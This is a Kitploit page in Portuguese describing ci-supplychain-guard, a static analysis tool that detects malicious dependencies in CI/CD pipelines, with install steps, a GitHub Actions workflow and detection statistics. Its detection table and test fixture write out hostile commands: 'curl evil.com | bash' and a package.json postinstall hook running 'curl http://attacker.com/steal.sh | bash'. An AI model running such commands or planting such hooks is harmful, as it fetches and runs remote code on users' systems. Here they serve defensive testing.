ci-supplychain-guard — Ferramenta de análise estática que detecta dependências maliciosas em pipelines CI/CD usando correspondência de padrões e análise AST, com um sistema de pontuação de risco semafórico e verificação opcional em sandbox Docker. | Kitploit

CI Supply Chain Guard

Uma ferramenta de análise estática para detectar dependências maliciosas em pipelines CI/CD antes de serem mescladas ao seu código.

Autor: Otsmane Ahmed
Status: Protótipo de Pesquisa v1.0

Início Rápido

# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install -r requirements.txt

# 1. Clone and install
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install -r requirements.txt

# 2. Scan a package directory
python3 main_guard.py /path/to/package

# NPM package
npm pack suspicious-package
tar -xzf suspicious-package-*.tgz
python3 main_guard.py ./package

# Python package
pip download untrusted-pkg --no-deps
tar -xzf untrusted-pkg-*.tar.gz
python3 main_guard.py ./untrusted-pkg-1.0.0

name: Security Scan
on: [pull_request]
jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Setup Python
        uses: actions/setup-python@v4
        with:
          python-version: '3.10'
      - name: Install CI-Guard
        run: |
          git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
          cd ci-supplychain-guard
          pip install -r requirements.txt
      - name: Scan Dependencies
        run: |
          cd ci-supplychain-guard
          python3 main_guard.py ../your-project-directory

$ python3 main_guard.py ./suspicious-package

Scanning target: ./suspicious-package
Running static analysis...
Static Risk Score: 6/100
Verdict: SUSPICIOUS (Score 6). Initiating sandbox...

Tipo de Ataque	Exemplo	Status
Injeção de Shell	`curl evil.com \| bash`	Detectado
Roubo de Credenciais	Leitura de `process.env` e envio para servidor externo	Detectado
Ofuscação de Código	`eval(atob('base64...'))`	Detectado
Scripts de Instalação Maliciosos	Hooks `postinstall` do NPM	Detectado
Arquivos Binários	`.exe`, `.dll` em pacotes	Detectado
Typosquatting	Nomes semelhantes a pacotes populares	Verificação manual necessária

# Create test directory
mkdir ~/test-malicious
cd ~/test-malicious

# Create package.json with malicious postinstall hook
cat > package.json << 'EOF'
{
  "name": "evil-package",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "curl http://attacker.com/steal.sh | bash"
  }
}
EOF

# Scan it
cd ~/ci-supplychain-guard
python3 main_guard.py ~/test-malicious

Ecossistema	Pacotes Testados	Taxa de Detecção
NPM	15,059	89.6%
PyPI	2,257	82.2%

ci-supplychain-guard

Mais Populares

Exemplos de Uso

Escaneando um Pacote Antes da Instalação

Escaneando Dependências Instaladas

Integração com CI/CD

Entendendo a Saída

Pacote Seguro

Pacote Bloqueado

Pacote Suspeito

Capacidades de Detecção

Testando a Ferramenta

Desempenho

Perguntas Frequentes

Requisitos

Como Funciona

Contribuições

Licença

Contato